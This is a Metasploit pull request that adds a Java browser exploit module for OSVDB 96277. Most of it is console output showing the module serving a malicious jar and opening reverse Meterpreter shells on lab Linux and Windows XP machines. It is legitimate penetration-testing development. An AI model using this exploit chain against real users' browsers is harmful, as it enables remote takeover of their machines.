rapid7/metasploit-framework — pull request #2232 by jvazquez-r7 (2013-08-15 23:39:51+00:00)
Title: Add Port for OSVDB 96277

Worked today with @wchen-r7 on porting it. Based entirely on the PacketStorm PoC

Atm working on Linux and Windows with J7u7 and j7u21 successfully:

```
msf > use exploit/multi/browser/java_storeimagearray
msf exploit(java_storeimagearray) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.3:4444
[*] Using URL: http://0.0.0.0:8080/RmKI0fo
[*] Local IP: http://192.168.0.3:8080/RmKI0fo
[*] Server started.
msf exploit(java_storeimagearray) > [!] 192.168.0.3 java_storeimagearray - Requesting: /RmKI0fo
[*] 192.168.0.3 java_storeimagearray - Sending redirect...
[!] 192.168.0.3 java_storeimagearray - Requesting: /RmKI0fo/
[*] 192.168.0.3 java_storeimagearray - Sending HTML...
[!] 192.168.0.3 java_storeimagearray - Requesting: /RmKI0fo/bvBsm.jar
[*] 192.168.0.3 java_storeimagearray - Sending .jar file...
[!] 192.168.0.3 java_storeimagearray - Requesting: /RmKI0fo/bvBsm.jar
[*] 192.168.0.3 java_storeimagearray - Sending .jar file...
[*] Sending stage (30355 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.3:58179) at 2013-08-15 18:36:20 -0500

msf exploit(java_storeimagearray) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : ubuntu
OS : Linux 2.6.32-38-generic (i386)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] fe80::20c:29ff:fec1:fdbd - Meterpreter session 1 closed. Reason: User exit
msf exploit(java_storeimagearray) >
[!] 192.168.0.3 java_storeimagearray - Requesting: /RmKI0fo
[*] 192.168.0.3 java_storeimagearray - Sending redirect...
[!] 192.168.0.3 java_storeimagearray - Requesting: /RmKI0fo/
[*] 192.168.0.3 java_storeimagearray - Sending HTML...
[!] 192.168.0.3 java_storeimagearray - Requesting: /RmKI0fo/WisroAt.jar
[*] 192.168.0.3 java_storeimagearray - Sending .jar file...
[!] 192.168.0.3 java_storeimagearray - Requesting: /RmKI0fo/WisroAt.jar
[*] 192.168.0.3 java_storeimagearray - Sending .jar file...
[*] Sending stage (30355 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:58212) at 2013-08-15 18:37:10 -0500

msf exploit(java_storeimagearray) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer : juan-c0de875735
OS : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.208 - Meterpreter session 2 closed. Reason: User exit
msf exploit(java_storeimagearray) > exit -y

```

Pull request ready for testing, would like to try to add more references before landing... but in the meanwhile, testing is welcome!